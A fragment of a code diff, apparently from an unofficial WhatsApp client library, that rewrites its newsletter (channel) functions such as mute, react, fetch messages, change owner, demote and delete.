324
- },
325
- /**user is Lid, not Jid */
326
- newsletterDemote: async (jid, user) => {
327
- await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
328
- 'user_id': user
329
- });
330
- },
331
- newsletterDelete: async (jid) => {
332
- await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
210
+ newsletterMute: (jid) => {
211
+ return executeWMexQuery({ newsletter_id: jid }, QueryIds.MUTE, XWAPaths.xwa2_newsletter_mute_v2);
212
+ },
213
+ newsletterUnmute: (jid) => {
214
+ return executeWMexQuery({ newsletter_id: jid }, QueryIds.UNMUTE, XWAPaths.xwa2_newsletter_unmute_v2);
215
+ },
216
+ newsletterUpdateName: async (jid, name) => {
217
+ return await newsletterUpdate(jid, { name });
218
+ },
219
+ newsletterUpdateDescription: async (jid, description) => {
220
+ return await newsletterUpdate(jid, { description });
221
+ },
222
+ newsletterUpdatePicture: async (jid, content) => {
223
+ const { img } = await generateProfilePicture(content);
224
+ return await newsletterUpdate(jid, { picture: img.toString("base64") });
225
+ },
226
+ newsletterRemovePicture: async (jid) => {
227
+ return await newsletterUpdate(jid, { picture: "" });
228
+ },
229
+ newsletterReactMessage: async (jid, serverId, reaction) => {
230
+ await query({
231
+ tag: "message",
232
+ attrs: {
233
+ to: jid,
234
+ ...(reaction ? {} : { edit: "7" }),
235
+ type: "reaction",
236
+ server_id: serverId,
237
+ id: generateMessageTag()
333
238
  },
334
- /**if code wasn't passed, the reaction will be removed (if is reacted) */
335
- newsletterReactMessage: async (jid, serverId, code) => {
336
- await query({
337
- tag: 'message',
338
- attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', 'server_id': serverId, id: (0, Utils_1.generateMessageID)() },
339
- content: [{
340
- tag: 'reaction',
341
- attrs: code ? { code } : {}
342
- }]
343
- });
239
+ content: [
240
+ {
241
+ tag: "reaction",
242
+ attrs: reaction ? { code: reaction } : {}
243
+ }
244
+ ]
245
+ });
246
+ },
247
+ newsletterFetchMessages: async (jid, count, since, after) => {
248
+ const messageUpdateAttrs = {
249
+ count: count.toString()
250
+ };
251
+ if (typeof since === "number") {
252
+ messageUpdateAttrs.since = since.toString();
253
+ }
254
+ if (after) {
255
+ messageUpdateAttrs.after = after.toString();
256
+ }
257
+ const result = await query({
258
+ tag: "iq",
259
+ attrs: {
260
+ id: generateMessageTag(),
261
+ type: "get",
262
+ xmlns: "newsletter",
263
+ to: jid
344
264
  },
345
- newsletterFetchMessages: async (type, key, count, after) => {
346
- const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
347
- {
348
- tag: 'messages',
349
- attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100' }
350
- }
351
- ]);
352
- return await parseFetchedUpdates(result, 'messages');
265
+ content: [
266
+ {
267
+ tag: "message_updates",
268
+ attrs: messageUpdateAttrs
269
+ }
270
+ ]
271
+ });
272
+ return result;
273
+ },
274
+ subscribeNewsletterUpdates: async (jid) => {
275
+ const result = await query({
276
+ tag: "iq",
277
+ attrs: {
278
+ id: generateMessageTag(),
279
+ type: "set",
280
+ xmlns: "newsletter",
281
+ to: jid
353
282
  },
354
- newsletterFetchUpdates: async (jid, count, after, since) => {
355
- const result = await newsletterQuery(jid, 'get', [
356
- {
357
- tag: 'message_updates',
358
- attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
359
- }
360
- ]);
361
- return await parseFetchedUpdates(result, 'updates');
362
- }
363
- };
364
- };
365
- exports.makeNewsletterSocket = makeNewsletterSocket;
366
- const extractNewsletterMetadata = (node, isCreate) => {
367
- const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
368
- const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
369
-
370
- const metadata = {
371
- id: metadataPath?.id,
372
- state: metadataPath?.state?.type,
373
- creation_time: +metadataPath?.thread_metadata?.creation_time,
374
- name: metadataPath?.thread_metadata?.name?.text,
375
- nameTime: +metadataPath?.thread_metadata?.name?.update_time,
376
- description: metadataPath?.thread_metadata?.description?.text,
377
- descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
378
- invite: metadataPath?.thread_metadata?.invite,
379
- picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
380
- preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
381
- reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
382
- subscribers: +metadataPath?.thread_metadata?.subscribers_count,
383
- verification: metadataPath?.thread_metadata?.verification,
384
- viewer_metadata: metadataPath?.viewer_metadata
283
+ content: [{ tag: "live_updates", attrs: {}, content: [] }]
284
+ });
285
+ const liveUpdatesNode = getBinaryNodeChild(result, "live_updates");
286
+ const duration = liveUpdatesNode?.attrs?.duration;
287
+ return duration ? { duration: duration } : null;
288
+ },
289
+ newsletterAdminCount: async (jid) => {
290
+ const response = await executeWMexQuery({ newsletter_id: jid }, QueryIds.ADMIN_COUNT, XWAPaths.xwa2_newsletter_admin_count);
291
+ return response.admin_count;
292
+ },
293
+ newsletterChangeOwner: async (jid, newOwnerJid) => {
294
+ await executeWMexQuery({ newsletter_id: jid, user_id: newOwnerJid }, QueryIds.CHANGE_OWNER, XWAPaths.xwa2_newsletter_change_owner);
295
+ },
296
+ newsletterDemote: async (jid, userJid) => {
297
+ await executeWMexQuery({ newsletter_id: jid, user_id: userJid }, QueryIds.DEMOTE, XWAPaths.xwa2_newsletter_demote);
298
+ },
299
+ newsletterDelete: async (jid) => {
300
+ await executeWMexQuery({ newsletter_id: jid }, QueryIds.DELETE, XWAPaths.xwa2_newsletter_delete_v2);
385
301
  }
386
- return metadata
387
- }
388
- exports.extractNewsletterMetadata = extractNewsletterMetadata;
302
+ };
303
+ };
304
+ //=======================================================//